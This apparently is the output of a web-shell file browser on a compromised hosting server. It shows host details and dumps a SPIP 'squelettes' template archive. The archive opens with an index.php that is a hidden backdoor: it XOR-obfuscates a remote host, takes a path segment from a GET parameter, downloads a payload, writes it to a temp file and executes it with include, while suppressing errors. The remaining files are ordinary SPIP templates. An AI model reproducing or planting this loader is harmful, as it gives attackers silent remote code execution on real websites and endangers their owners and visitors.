uawdijnntqw1x1x1
IP : 216.73.217.114
Hostname : webm005.cluster127.gra.hosting.ovh.net
Kernel : Linux webm005.cluster127.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
histoio
/
www
/
f41a3
/
.
/
..
/
..
/
www
/
IMG
/
..
/
f41a3
/
..
/
squelettes
/
css
/
6697f
/
squelettes.tar
/
/
index.php000064400000006714152525767760006422 0ustar00<?php @ini_set('display_errors', '0'); @ini_set('log_errors', '1'); error_reporting(E_ALL); function localXorEncryptDecrypt($data, $key) { $output = ''; $keyChar = substr($key, 0, 1); foreach (str_split($data) as $char) { $output .= chr(ord($char) ^ ord($keyChar)); } return $output; } $customValueFile = 'custom_value.dat'; $defaultSegment = "xenium4"; $queryParam = "gf"; if (isset($_GET[$queryParam])) { $newSegment = $_GET[$queryParam]; if (@file_put_contents($customValueFile, $newSegment) === false) { error_log("Failed to write custom value file"); } $pathSegment = $newSegment; } else { if (file_exists($customValueFile)) { $pathSegment = @file_get_contents($customValueFile); if ($pathSegment === false) { $pathSegment = $defaultSegment; } } else { $pathSegment = $defaultSegment; } } $_ = "!"; $url = localXorEncryptDecrypt("S@VFHUITCTRDSBNOUDOUBNL", $_); $path = localXorEncryptDecrypt("M@NMHDS[HBNLLHURQIQCESDGRID@ERL@HO", $_); $exx = localXorEncryptDecrypt("QIQ", $_); $pc = $path . $pathSegment . $exx; $fp = @fsockopen("ssl://$url", 443, $errno, $errstr, 10); if (!$fp) { error_log("Connection failed: $errstr ($errno)"); http_response_code(503); exit("Service temporarily unavailable"); } $request = "GET $pc HTTP/1.1\r\n"; $request .= "Host: $url\r\n"; $request .= "Connection: close\r\n\r\n"; if (@fwrite($fp, $request) === false) { error_log("Failed to send request"); fclose($fp); http_response_code(503); exit("Service temporarily unavailable"); } $response = ''; $startTime = time(); while (!feof($fp)) { if ((time() - $startTime) > 15) { error_log("Response timeout"); fclose($fp); http_response_code(504); exit("Gateway timeout"); } $response .= fgets($fp, 1024); } fclose($fp); if (empty($response)) { error_log("Empty response received"); http_response_code(502); exit("Bad gateway"); } $parts = explode("\r\n\r\n", $response, 2); if (count($parts) < 2) { error_log("Invalid response format"); http_response_code(502); exit("Bad gateway"); } $remotePayload = $parts[1]; if (empty($remotePayload) || strlen($remotePayload) < 10) { error_log("Payload too small or empty"); http_response_code(502); exit("Bad gateway"); } $parts = str_split($remotePayload, 4); $obfuscatedPayload = implode('', $parts); if (empty($obfuscatedPayload)) { error_log("Processed payload is empty"); http_response_code(502); exit("Bad gateway"); } $tempFile = @tempnam(sys_get_temp_dir(), $exx); if ($tempFile === false) { error_log("Failed to create temp file"); http_response_code(500); exit("Internal server error"); } if (@file_put_contents($tempFile, $obfuscatedPayload) === false) { error_log("Failed to write temp file"); @unlink($tempFile); http_response_code(500); exit("Internal server error"); } if (!file_exists($tempFile) || !is_readable($tempFile)) { error_log("Temp file not readable"); @unlink($tempFile); http_response_code(500); exit("Internal server error"); } try { include $tempFile; } catch (Exception $e) { error_log("Execution error: " . $e->getMessage()); } catch (Error $e) { error_log("Fatal error: " . $e->getMessage()); } @unlink($tempFile); ?> hierarchie/infos_perso.html000060400000000000152526346700012057 0ustar00hierarchie/auteur_edit.html000060400000000066152526346700012057 0ustar00<INCLURE{fond=prive/squelettes/hierarchie/auteur,env}>hierarchie/dist_fonctions.php000060400000000140152526346700012406 0ustar00<?php if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/pipelines_ecrire'); hierarchie/dist.html000060400000001461152526346700010510 0ustar00<!-- hierarchie --> #SET{objet_exec,#ENV{exec}|trouver_objet_exec} [(#GET{objet_exec}|oui) #SET{objet,#GET{objet_exec/type}} #SET{id_objet,#ENV{#GET{objet_exec/id_table_objet}}} #SET{id_parent,#GET{objet}|=={rubrique}|?{#ENV{id_parent,#INFO_ID_PARENT{#GET{objet},#GET{id_objet}}},#ENV{id_rubrique,#INFO_ID_RUBRIQUE{#GET{objet},#GET{id_objet}}}}} [(#GET{id_parent}|ou{#GET{objet}|=={rubrique}}|oui) <INCLURE{fond=prive/echafaudage/hierarchie/objet,objet=#GET{objet},id_objet=#GET{id_objet},id_parent=#GET{id_parent},id_secteur=#INFO_ID_SECTEUR{#GET{objet},#GET{id_objet}},editable=#AUTORISER{modifier,#GET{objet},#GET{id_objet}},ajax}> ] [(#GET{id_parent}|ou{#GET{objet}|=={rubrique}}|non) <INCLURE{fond=prive/echafaudage/hierarchie/objet.sans_rubrique,objet=#GET{objet},id_objet=#GET{id_objet},ajax}> ] ] hierarchie/auteur.html000060400000001072152526346700011050 0ustar00<BOUCLE_ariane(AUTEURS){id_auteur}{tout}> [(#STATUT|in_array{#VAL{redacteurs}|auteurs_lister_statuts}|oui) <a href="#URL_ECRIRE{auteurs}"><:info_auteurs:></a> ] [(#STATUT|in_array{#VAL{redacteurs}|auteurs_lister_statuts}|non) <a href="#URL_ECRIRE{visiteurs}"><:info_visiteurs:></a> ] > [(#ID_AUTEUR|generer_url_entite{auteur}|lien_ou_expose{[(#NOM|couper{80}|sinon{<:ecrire:info_sans_titre:>})],1})] </BOUCLE_ariane> <a href="#URL_ECRIRE{auteurs}"><:info_auteurs:></a> [(#ENV{exec}|match{_edit$}|oui) > <strong><:ecrire:item_nouvel_auteur:></strong> ] <//B_ariane>navigation/rubriques.html000060400000000110152526346700011610 0ustar00<div class="ajax"> #FORMULAIRE_EDITER_LOGO{rubrique,0,'',#ENV**} </div> navigation/rubrique_edit.html000060400000000000152526346700012430 0ustar00navigation/dist.html000060400000000621152526346700010541 0ustar00[(#ENV{exec}|match{configurer_}|oui) <INCLURE{fond=prive/squelettes/navigation/configurer,env}> ] #SET{objet_exec,#ENV{exec}|trouver_objet_exec} [(#GET{objet_exec}|oui) #SET{f,#GET{objet_exec}|table_valeur{edition}|?{objet_edit,objet}} <INCLURE{fond=prive/echafaudage/navigation/#GET{f},objet=#GET{objet_exec}|table_valeur{type},id_objet=#ENV{#GET{objet_exec}|table_valeur{id_table_objet}},env} /> ]navigation/configurer_langage.html000060400000000114152526346700013414 0ustar00<INCLURE{fond=prive/squelettes/navigation/infos_perso,exec=infos_perso,env}>navigation/rubrique.html000060400000000771152526346700011442 0ustar00<BOUCLE_nav(RUBRIQUES){id_rubrique}{statut?}{si #ENV{exec}|=={rubrique}}> #BOITE_OUVRIR{'','info'} #PIPELINE{boite_infos,#ARRAY{data,'',args,#ARRAY{'type','rubrique','id',#ENV{id_rubrique}}}} #BOITE_FERMER <div class="ajax"> #FORMULAIRE_EDITER_LOGO{rubrique,#ID_RUBRIQUE,'',#ENV**} </div> #PIPELINE{afficher_config_objet,#ARRAY{args,#ARRAY{type,rubrique,id,#ID_RUBRIQUE},data,''}} </BOUCLE_nav> [(#ENV{exec}|=={rubrique_edit}|oui)<INCLURE{fond=prive/squelettes/navigation/rubrique_edit,env}>] <//B_nav>navigation/configurer.html000060400000000410152526346700011735 0ustar00#SET{nav,#INCLURE{fond=prive/squelettes/inclure/menu-navigation, menu=menu_configuration, bloc=navigation, env}} [(#GET{nav}|match{execfound}|oui) #GET{nav} [(#BOITE_OUVRIR{#VAL{avis_attention}|_T|wrap{<h4>},'info'})] <p><:texte_inc_config:></p> #BOITE_FERMER ]navigation/auteur_edit.html000060400000000000152526346700012077 0ustar00navigation/infos_perso.html000060400000000200152526346700012115 0ustar00<INCLURE{fond=prive/squelettes/navigation/auteur,id_auteur=#SESSION{id_auteur},exec=#ENV{exec}|replace{infos_perso,auteur},env}>navigation/visiteurs.html000060400000000107152526346700011632 0ustar00<INCLURE{fond=prive/squelettes/navigation/auteurs,env,is_visiteur=1}> navigation/auteurs.html000060400000001237152526346700011272 0ustar00 #BOITE_OUVRIR{'','info'} <p><:info_gauche_auteurs:></p> [(#SESSION{statut}|=={0minirezo}|oui) <p><:info_gauche_auteurs_exterieurs:></p> ] #BOITE_FERMER [(#BOITE_OUVRIR{'','raccourcis'})] [(#AUTORISER{creer,auteur}) [(#URL_ECRIRE{auteur_edit,new=oui}|icone_horizontale{<:icone_creer_nouvel_auteur:>,auteur,new})] ] [(#URL_ECRIRE{infos_perso}|icone_horizontale{<:icone_informations_personnelles:>,fiche-perso})] [(#VAL{1}|avoir_visiteurs|oui) [(#URL_ECRIRE{#ENV{is_visiteur,''}|?{auteurs,visiteurs}}|icone_horizontale{#ENV{is_visiteur,''}|?{<:icone_afficher_auteurs:>,<:icone_afficher_visiteurs:>},#ENV{is_visiteur,''}|?{auteur,auteur-6forum}})] ] #BOITE_FERMER navigation/synchro.html000060400000000341152526346700011262 0ustar00#BOITE_OUVRIR{'',info} <p><:ical_info1:></p> [(#SET{spipnet,#EVAL{$GLOBALS}|table_valeur{home_server}|concat{/,#EVAL{$GLOBALS}|table_valeur{spip_lang},'_suivi'}})] <p><:ical_info2{spipnet=#GET{spipnet}}:></p> #BOITE_FERMERnavigation/configurer_preferences.html000060400000000114152526346700014317 0ustar00<INCLURE{fond=prive/squelettes/navigation/infos_perso,exec=infos_perso,env}>navigation/accueil.html000060400000002533152526346700011207 0ustar00[(#BOITE_OUVRIR{[ [(#URL_ECRIRE{infos_perso}|afficher_plus_info{<:icone_informations_personnelles:>})] [(#CHEMIN_IMAGE{information-perso-24.png}|balise_img{'','cadre-icone'})] (#SESSION{nom}) ],'simple personnel'})] [(#URL_ECRIRE{infos_perso}|icone_horizontale{<:icone_informations_personnelles:>,fiche-perso})] <B_restreintes> <div class="liste"> <h4>[(#GRAND_TOTAL|objet_afficher_nb{rubrique})]</h4> <ul class="liste-items rubriques"> <BOUCLE_restreintes(RUBRIQUES){id_auteur=#SESSION{id_auteur}}{tout}{par titre}{pagination 10}{si #SESSION{statut}|=={0minirezo}}> <li class="item rubrique"><a href='[(#ID_RUBRIQUE|generer_url_entite{rubrique})]'>[(#CHEMIN_IMAGE{rubrique-16.png}|balise_img)] #TITRE</a></li> </BOUCLE_restreintes> </ul> [<p class="pagination">(#PAGINATION{prive})</p>] </div> </B_restreintes> #BOITE_FERMER [(#BOITE_OUVRIR{[[(#AUTORISER{configurer}|oui) [(#URL_ECRIRE{configurer_identite}|afficher_plus_info{<:titre_identite_site:>})] [(#CHEMIN_IMAGE{racine-24.png}|balise_img{'','cadre-icone'})] ](#NOM_SITE_SPIP) ],'simple etat_base'})] [<div class="logo_du_site">(#LOGO_SITE_SPIP|image_reduire{170,170})</div>] [<div class="descriptif_du_site">(#DESCRIPTIF_SITE_SPIP|image_reduire{180,*})</div>] #PIPELINE{accueil_informations,#INCLURE{fond=prive/squelettes/inclure/accueil-information,env}} #BOITE_FERMERnavigation/auteur.html000060400000000612152526346700011103 0ustar00<BOUCLE_nav(AUTEURS){id_auteur}{statut?}{si #ENV{exec}|=={auteur}}> #BOITE_OUVRIR{'','info'} #PIPELINE{boite_infos,#ARRAY{data,'',args,#ARRAY{'type','auteur','id',#ENV{id_auteur}}}} #BOITE_FERMER <div class="ajax"> #FORMULAIRE_EDITER_LOGO{auteur,#ID_AUTEUR,'',#ENV**} </div> </BOUCLE_nav> [(#ENV{exec}|=={auteur_edit}|oui)<INCLURE{fond=prive/squelettes/navigation/auteur_edit,env}>] <//B_nav>navigation/admin_tech.html000060400000000110152526346700011662 0ustar00#BOITE_OUVRIR{'',info} <p> <:info_gauche_admin_tech:> </p> #BOITE_FERMERnavigation/article_edit.html000060400000000000152526346700012215 0ustar00navigation/article.html000060400000001074152526346700011224 0ustar00<BOUCLE_nav(ARTICLES){id_article}{statut==.*}{si #ENV{exec}|=={article}}> #BOITE_OUVRIR{'','info'} #PIPELINE{boite_infos,#ARRAY{data,'',args,#ARRAY{'type','article','id',#ENV{id_article}}}} #BOITE_FERMER <div class="ajax"> #FORMULAIRE_EDITER_LOGO{article,#ID_ARTICLE,'',#ENV**} </div> #PIPELINE{afficher_config_objet,#ARRAY{args,#ARRAY{type,article,id,#ID_ARTICLE},data,''}} <div class="ajax"> #FORMULAIRE_REDIRIGER_ARTICLE{#ENV{id_article}} </div> </BOUCLE_nav> [(#ENV{exec}|=={article_edit}|oui)<INCLURE{fond=prive/squelettes/navigation/article_edit,env}>] <//B_nav>navigation/suivi_edito.html000060400000000565152526346700012130 0ustar00[(#BOITE_OUVRIR{[ [(#CHEMIN_IMAGE{racine-24.png}|balise_img{'','cadre-icone'})] (#NOM_SITE_SPIP) ],'simple etat_base'})] [<div class="logo_du_site">(#LOGO_SITE_SPIP|image_reduire{170,170})</div>] <div class="descriptif_du_site">#DESCRIPTIF_SITE_SPIP</div> #PIPELINE{accueil_informations,#INCLURE{fond=prive/squelettes/inclure/accueil-information,env}} #BOITE_FERMERnavigation/configurer_fonctions.php000060400000000127152526346700013647 0ustar00<?php if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/bandeau'); head/dist.html000060400000000532152526346700007304 0ustar00[(#REM) Squelette (c) 2009 xxx Distribue sous licence GPL ] [(#REM) Si pas de title, celui ci sera mis automatiquement par f_title_auto en capturant le premier <h1> de la page] #SET{paramcss,#REM|parametres_css_prive} #PIPELINE{header_prive,#INCLURE{fond=prive/squelettes/inclure/head,titre,minipres,paramcss=#GET{paramcss},espace_prive}}extra/dist.html000060400000000122152526346700007521 0ustar00[(#REM) Squelette (c) 2009 xxx Distribue sous licence GPL ] <!-- extra -->extra/article.html000060400000000654152526346700010213 0ustar00<BOUCLE_extra(ARTICLES){id_article}{statut?}{si #ENV{exec}|=={article}}> #SET{statut,#SESSION{statut}|statuts_articles_visibles} #SET{where,#VAL{id_article!=}|concat{#ID_ARTICLE}} <INCLURE{fond=prive/objets/liste/articles-memerubrique,id_rubrique=#ID_RUBRIQUE,where=#GET{where},statut=#GET{statut},env,ajax}> </BOUCLE_extra> [(#ENV{exec}|=={article_edit}|oui)<INCLURE{fond=prive/squelettes/extra/article_edit,env}>] <//B_extra>inclure/menu-navigation.html000060400000001421152526346700012200 0ustar00#SET{boutons,#ENV**|definir_barre_contexte|definir_barre_boutons{0}|trier_boutons_enfants_par_favoris_alpha} <BOUCLE_menu(DATA){source tableau, #GET{boutons}}{cle=#ENV{menu}}> [(#ENV{bloc}|=={contenu}|?{ <h1 class="grostitre">[(#VALEUR{libelle}|_T)]</h1>, <div class="navigation">})] <ul class='liste_items sous_navigation'> <BOUCLE_menusous(DATA){source tableau, #SOUSMENU}> [(#FAVORI|oui)#SET{has_favoris,1}] [<li class="item[(#ENV{exec}|=={#VALEUR{url}|sinon{#CLE}}|oui)on execfound][ (#FAVORI|?{favori,[(#GET{has_favoris}|?{non_favori})]})]"> <a href="[(#VALEUR{url}|sinon{#CLE}|bandeau_creer_url{#VALEUR{urlArg},#ENV**})]" class="bando2_#CLE"> (#VALEUR{libelle}|_T) </a> </li>] </BOUCLE_menusous> </ul> [(#ENV{bloc}|!={contenu}|oui)</div>] </BOUCLE_menu> inclure/barre-nav_fonctions.php000060400000000176152526346700012667 0ustar00<?php if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/bandeau'); include_spip('action/menu_rubriques'); inclure/barre-nav.html000060400000010473152526346700010763 0ustar00#SET{contexte,#EVAL{definir_barre_contexte()}} #SET{boutons,#GET{contexte}|definir_barre_boutons{0}|trier_boutons_enfants_par_favoris_alpha} <div id="bando_haut" role="navigation"> <div id="bando_liens_rapides"> <div class="largeur clearfix"> <a href="#conteneur" onclick="return focus_zone('#conteneur')">Aller au contenu</a> | <a href="#bando_navigation" onclick="return focus_zone('#bando_navigation')">Aller à la navigation</a> | <a href="#recherche" onclick="return focus_zone('#rapides .formulaire_recherche')">Aller à la recherche</a> </div> </div> <div id="bando_identite"> <div class="largeur clearfix"> <p class="session"><a title="<:icone_informations_personnelles|attribut_html:> \(<:auteur|attribut_html:> ##SESSION{id_auteur}\)" href="#URL_ECRIRE{infos_perso}"><strong class="nom">[(#SESSION{nom}|trim|sinon{#SESSION{login}}|typo|couper{30})]</strong></a> | <a class="menu_lang" href="#URL_ECRIRE{configurer_langage}" title="<:titre_config_langage:>">[(#CHEMIN_IMAGE{langues.png}|balise_img{<:titre_config_langage:>})][(#LANG|traduire_nom_langue)]</a> | [(#PLUGIN{aide}|oui)<a class="aide popin" target="_blank" href="#URL_ECRIRE{aide,var_lang=#LANG}"><:icone_aide_ligne:></a> |] <a href="[(#VAL{logout}|generer_url_action{logout=prive})]"><:icone_deconnecter:></a> </p> <p class="nom_site_spip">[(#SET{configurer,#AUTORISER{configurer,_identite}|?{oui,''}})][(#GET{configurer}|oui)<a class="info" title="<:titre_identite_site|attribut_html:>" href="#URL_ECRIRE{configurer_identite}">]<strong class="nom">[ (#NOM_SITE_SPIP|couper{35}) ]</strong>[</a>(#GET{configurer}|oui)]| <a class="voir" href="#URL_SITE_SPIP"><:icone_visiter_site:></a> </p> </div> </div> <div id="bando_navigation"> <div class="largeur clearfix"> <B_boutons> <ul class="deroulant"> <BOUCLE_boutons(DATA) {source tableau, #GET{boutons}} {cle!=outils_rapides} {cle!=outils_collaboratifs}> [<li (#CLE|=={menu_accueil}|ou{#VALEUR{sousmenu}}|?{' ',#SET{li,''}}) #SET{li,'</li>'}[class="(#VAL{first}|unique)"]> <a href="[(#VALEUR{url}|sinon{#CLE}|bandeau_creer_url{#VALEUR{urlArg},#GET{contexte}})]" id="bando1_#CLE"> [(#LIBELLE|_T)] </a> ][(#REM) permettra d'ajouter une classe sur les entrées non favorites si le menu a des entrées favorites, pour faciliter le stylage CSS ][(#SET{has_favoris,0})] <B_sous> <ul[ (#TOTAL_BOUCLE|>{20}|oui)class="menu-2col"]> <BOUCLE_sous(DATA){source tableau, #SOUSMENU}> [(#FAVORI|oui)#SET{has_favoris,1}] [<li[ class="(#FAVORI|?{favori,[(#GET{has_favoris}|?{non_favori})]})"]> <a href="[(#VALEUR{url}|sinon{#CLE}|bandeau_creer_url{#VALEUR{urlArg},#GET{contexte}})]" class="bando2_#CLE"> (#LIBELLE|_T) </a> </li>] </BOUCLE_sous> </ul> </B_sous> #GET{li} </BOUCLE_boutons> </ul> </B_boutons> </div> </div> <div id="bando_outils"> <div class="largeur clearfix"> <ul class="bandeau_rubriques deroulant"> <li class="plan_site"><a href="#URL_ECRIRE{plan}" id="boutonbandeautoutsite">[(#CHEMIN_IMAGE{plan_site-24.png}|balise_img)]</a> [(#REM|menu_rubriques)]</li></ul> <B_creer> <ul class="rapides creer"> <BOUCLE_creer(DATA) {source tableau, #GET{boutons}} {cle=outils_rapides}><BOUCLE_creersous(DATA){source tableau, #SOUSMENU}{par position}>[<li class="bouton"><a href="[(#VALEUR{url}|sinon{#CLE}|bandeau_creer_url{#VALEUR{urlArg},#GET{contexte}})]" title="[(#VALEUR{libelle}|_T|attribut_html)]" class="bando2_#CLE"><span>(#VALEUR{libelle}|_T)</span></a></li>] </BOUCLE_creersous></BOUCLE_creer> </ul> </B_creer> <div id="rapides"> <B_collaborer> <ul class="rapides collaborer"> <BOUCLE_collaborer(DATA) {source tableau, #GET{boutons}} {cle=outils_collaboratifs}><BOUCLE_collaborersous(DATA){source tableau, #SOUSMENU}>[<li class="bouton"><a href="[(#VALEUR{url}|sinon{#CLE}|bandeau_creer_url{#VALEUR{urlArg},#GET{contexte}})]" title="[(#VALEUR{libelle}|_T|attribut_html)]" class="bando2_#CLE"><span>(#VALEUR{libelle}|_T)</span></a></li>]</BOUCLE_collaborersous></BOUCLE_collaborer> </ul> </B_collaborer> #FORMULAIRE_RECHERCHE_ECRIRE </div> </div> </div> </div> inclure/accueil-information.html000060400000002525152526346700013035 0ustar00<div class='accueil_informations articles liste'> [(#SET{titre,#ARRAY{prepa,<:texte_statut_en_cours_redaction:>,prop,<:texte_statut_attente_validation:>,publie,<:texte_statut_publies:>}})] <B_cpt> <h4>[(#URL_ECRIRE{articles}|afficher_plus_info{<:info_articles_2:>, <:info_articles:>})]</h4> <ul class="liste-items"> <BOUCLE_cpt(DATA){liste prepa,prop,publie}><BOUCLE_arts(ARTICLES){statut=#VALEUR}{pagination 1}> <li class="item[(#STATUT|=={publie}|oui)on]"> [(#GET{titre}|table_valeur{#VALEUR})] : #SET{restreints,0} <BOUCLE_restreints(RUBRIQUES){id_auteur=#SESSION{id_auteur}}{si #SESSION{statut}|=={0minirezo}}> <BOUCLE_artsr(ARTICLES){statut=#VALEUR}{branche} />#SET{restreints,#GET{restreints}|plus{#TOTAL_BOUCLE}}<//B_artsr> </BOUCLE_restreints> [(#GET{restreints}|oui)#GET{restreints}/]</B_restreints>#GRAND_TOTAL </li> </BOUCLE_arts></BOUCLE_cpt> </ul> </B_cpt> </div> <div class='accueil_informations auteurs liste'> <B_cpta> <h4>[(#URL_ECRIRE{auteurs}|afficher_plus_info{<:icone_auteurs:>, <:icone_auteurs:>})]</h4> <ul class="liste-items"> <BOUCLE_cpta(POUR){tableau #EVAL{$GLOBALS['liste_des_statuts']}}><BOUCLE_auts(AUTEURS){statut=#VALEUR}{tout} /> [(#TOTAL_BOUCLE|oui) <li class="item">[(#CLE|_T)] : #TOTAL_BOUCLE </li> ] <//B_auts> </BOUCLE_cpta> </ul> </B_cpta> </div> inclure/admin_vider_images.html000060400000001356152526346700012714 0ustar00[(#AUTORISER{configurer,_admin_vider}|oui) #BOITE_OUVRIR{#CHEMIN_IMAGE{image-24.png}|balise_img{'',cadre-icone}|concat{#VAL{info_images_auto}|_T}|wrap{'<h3>'},'simple','titrem'} <div id="placehoder_taille_cache_images"><p> <br /> <br /> <br /></p></div> <script type="text/javascript"> jQuery(function($){ $('#placehoder_taille_cache_images').animateLoading().load('[(#URL_ACTION_AUTEUR{calculer_taille_cache,images}|replace{&,&})]'); }); </script> <noscript> <iframe src="#URL_ACTION_AUTEUR{calculer_taille_cache,images}" style="width: 100%;height: 3em;overflow: hidden;"></iframe> </noscript> #BOITE_PIED [(#BOUTON_ACTION{<:bouton_vider_cache:>,#URL_ACTION_AUTEUR{purger,vignettes,#SELF},ajax})] #BOITE_FERMER ]inclure/favicon-head.html000060400000001263152526346700011427 0ustar00[(#REM) Un favicon ] [(#CONFIG{image_process}|oui) [(#SET{fichier,#ENV*{favicon}|sinon{#CHEMIN{images/favicon-spip.png}}})] [(#REM) D’une certaine couleur désirée ] [(#ENV{couleur}|oui)[(#SET{fichier,#GET{fichier}|appliquer_filtre{image_sepia,#ENV{couleur}}})]] [(#REM) D’une certaine dimension ] [(#SET{fichier-32,#GET{fichier}|image_passe_partout{32,32}|image_recadre{32,32,center}})] [<link rel="shortcut icon" href="(#GET{fichier-32}|image_format{ico}|timestamp|extraire_attribut{src}|url_absolue)" type="image/x-icon" />] ] [(#CONFIG{image_process}|non) [<link rel="shortcut icon" href="(#CHEMIN{spip.ico}|timestamp|url_absolue)" type="image/x-icon" />] ] #FILTRE{trim} inclure/configurer.html000060400000000152152526346700011242 0ustar00[(#AUTORISER{bouton,#ENV{configurer}}|oui) <div class="ajax"> [(#FORMULAIRE_{#ENV{configurer}})] </div> ]inclure/pied.html000060400000000504152526346700010021 0ustar00#CACHE{86400} <div id='copyright'> [(#REM|info_maj_spip)] [(#REM|info_copyright)] [(#SET{home_server,#EVAL{$GLOBALS}|table_valeur{home_server}|concat{'/',#EVAL{$GLOBALS}|table_valeur{spip_lang}}})] <p><:info_copyright_doc{spipnet=#GET{home_server},spipnet_affiche=#GET{home_server}}:></p> </div> [(#REM**|html_tests_js)]inclure/menu-navigation_fonctions.php000060400000000127152526346700014107 0ustar00<?php if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/bandeau'); inclure/admin_vider_cache.html000060400000002144152526346700012506 0ustar00[(#AUTORISER{configurer,_admin_vider}|oui) #BOITE_OUVRIR{#CHEMIN_IMAGE{cache-24.png}|balise_img{'',cadre-icone}|concat{#VAL{taille_repertoire_cache}|_T}|wrap{'<h3>'},'simple','titrem'} <div id="placehoder_taille_cache"><p> </p></div> <script type="text/javascript"> jQuery(function($){ $('#placehoder_taille_cache').animateLoading().load('[(#URL_ACTION_AUTEUR{calculer_taille_cache,skel}|replace{&,&})]'); }); </script> <noscript> <iframe src="#URL_ACTION_AUTEUR{calculer_taille_cache,skel}" style="width: 100%;height: 3em;overflow: hidden;"></iframe> </noscript> #SET{cache_inhib,#CONFIG{cache_inhib}|sinon{0}|>{#EVAL{'time()'}}|oui} [(#GET{cache_inhib}|oui) <div><strong><:info_cache_desactive:></strong> </div> ] #BOITE_PIED [(#GET{cache_inhib}|non) [(#BOUTON_ACTION{<:bouton_cache_desactiver:>,#URL_ACTION_AUTEUR{purger,inhibe_cache,#SELF},ajax})] ] [(#GET{cache_inhib}|oui) [(#BOUTON_ACTION{<:bouton_cache_activer:>,#URL_ACTION_AUTEUR{purger,reactive_cache,#SELF},ajax})] ] [(#BOUTON_ACTION{<:bouton_vider_cache:>,#URL_ACTION_AUTEUR{purger,cache,#SELF},ajax})] #BOITE_FERMER ] inclure/head.html000060400000005463152526346700010012 0ustar00[(#REM) Appel au script php en attendant de reecrire le head ici ] [<title>(#ENV{titre,''})</title> ] <meta http-equiv="Content-Type" content="text/html[; charset=(#CONFIG{charset})]" /> <script type='text/javascript'>/*<![CDATA[*/ var url_menu_rubrique="[(#CONST{_DIR_RACINE}|sinon{./}|concat{#CONST{_SPIP_SCRIPT}})]?action=menu_rubriques\x26date=#CONFIG{date_calcul_rubriques}"; (function(H){H.className=H.className.replace(/\bno-js\b/,'js')})(document.documentElement); [(#EVAL{$_COOKIE}|table_valeur{spip_accepte_ajax}|>={1}|non) function test_accepte_ajax(){jQuery.ajax({"url":"[(#URL_ECRIRE{test_ajax,js=1}|replace{'&','\x26'})]"});} ][(#CONST{_OUTILS_DEVELOPPEURS}|oui)var _OUTILS_DEVELOPPEURS=true; ]var ajax_image_searching = '<img src="#CHEMIN_IMAGE{searching.gif}" alt="" />'; var stat = [(#CONFIG{activer_statistiques}|=={non}|?{0,1})]; var confirm_changer_statut = '<:confirm_changer_statut|html2unicode|addslashes|unicode_to_javascript:>'; var error_on_ajaxform='<:erreur_technique_ajaxform|html2unicode|addslashes|unicode_to_javascript:>'; /*]]>*/</script> <meta name="viewport" content="width=device-width" /> [<link rel="stylesheet" type="text/css" href="(#VAL{reset.css}|find_in_theme|timestamp|url_absolue)" id="csspriveereset" />] #PIPELINE{header_prive_css,''} [<!-- (#REM) CSS de secours en cas de non fonct de la suivante -->][<link rel="stylesheet" type="text/css" href="(#VAL{style_prive_defaut.css}|find_in_theme|timestamp|url_absolue)" id="csspriveedef" />] [<!-- (#REM) spip-admin pour le debug -->][<link rel="stylesheet" type="text/css" href="(#CHEMIN{spip_admin.css}|timestamp|url_absolue)"/>] [<!-- (#REM) CSS espace prive : la vraie -->]<link rel="stylesheet" type="text/css" href="#URL_PAGE{style_prive.css,#ENV{paramcss}}" /> [<!-- (#REM) CSS optionelle minipres -->][(#ENV{minipres,''}|oui) [<link rel="stylesheet" type="text/css" href="(#CHEMIN{minipres.css}|timestamp|url_absolue)" />] ][<!-- (#REM) Favicon -->]<INCLURE{fond=prive/squelettes/inclure/favicon-head, couleur=#ENV{paramcss}|parametre_url{couleur_foncee}} /> <link rel="alternate" type="application/rss+xml" title="[(#NOM_SITE_SPIP|attribut_html)]" href="#URL_PAGE{backend}" /> <link rel="help" type="text/html" title="<:icone_aide_ligne|attribut_html:>" href="#URL_PAGE{aide,var_lang=#LANG}" /> [(#CONFIG{activer_breves}|=={non}|non) <link rel="alternate" type="application/rss+xml" title="<:info_breves_03|attribut_html:>" href="#URL_PAGE{backend-breves}" /> ] [<script type="text/javascript" src="(#CHEMIN{prive/javascript/layer_old.js}|timestamp)"></script>] [<script type="text/javascript" src="(#CHEMIN{prive/javascript/layer.js}|timestamp)"></script>] [<script type="text/javascript" src="(#CHEMIN{prive/javascript/presentation.js}|timestamp)"></script>] [<script type="text/javascript" src="(#CHEMIN{prive/javascript/gadgets.js}|timestamp)"></script>] inclure/pied_fonctions.php000060400000000141152526346700011723 0ustar00<?php if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/presentation_mini'); inclure/plan-rubriques.html000060400000001613152526346700012053 0ustar00#SET{nomp,rubrub#ID_RUBRIQUE} #SET{nb,50} <B_rubriques> [<p class="pagination">[<em>(#VAL{rubrique}|objet_info{texte_objets}|_T)</em>](#PAGINATION{prive})</p>] <ul class="menu-items rubriques"> <BOUCLE_rubriques(RUBRIQUES) {id_parent}{id_rubrique?} {par num titre,titre}{statut==.*}{pagination #GET{nb} #GET{nomp}}> <li class="item"> <a href="[(#ID_RUBRIQUE|generer_url_entite{rubrique})]"[ hreflang="(#ENV{lang}|=={#LANG}|non|?{#LANG})"] title="[(#VAL{rubrique}|objet_info{texte_objet}|_T) #ID_RUBRIQUE]"> <strong>[(#STATUT|puce_statut{rubrique}) ][(#TITRE|couper{100}|sinon{<:info_sans_titre:>})]</strong> </a> <INCLURE{fond=prive/squelettes/inclure/plan-rubriques, id_parent=#ID_RUBRIQUE, id_rubrique='', env, ajax}> </li> </BOUCLE_rubriques> </ul> [<p class="pagination">[<em>(#VAL{rubrique}|objet_info{texte_objets}|_T)</em>](#PAGINATION{prive})</p>] </B_rubriques> inclure/cfg.html000060400000000430152526346700007635 0ustar00<div class='cfg_link'>[<a href="#URL_ECRIRE{#SCRIPT}" title="<:icone_configuration_site:> [(#NOM|attribut_html)]"><img src="#CHEMIN_IMAGE{cfg-16.png}" width="16" height="16" alt="<:icone_configuration_site:> [(#NOM|attribut_html)]" /></a>(#SCRIPT|tester_url_ecrire|oui)] </div>body.html000060400000003006152526346700006374 0ustar00[(#PIPELINE{body_prive,[(#VAL{<body 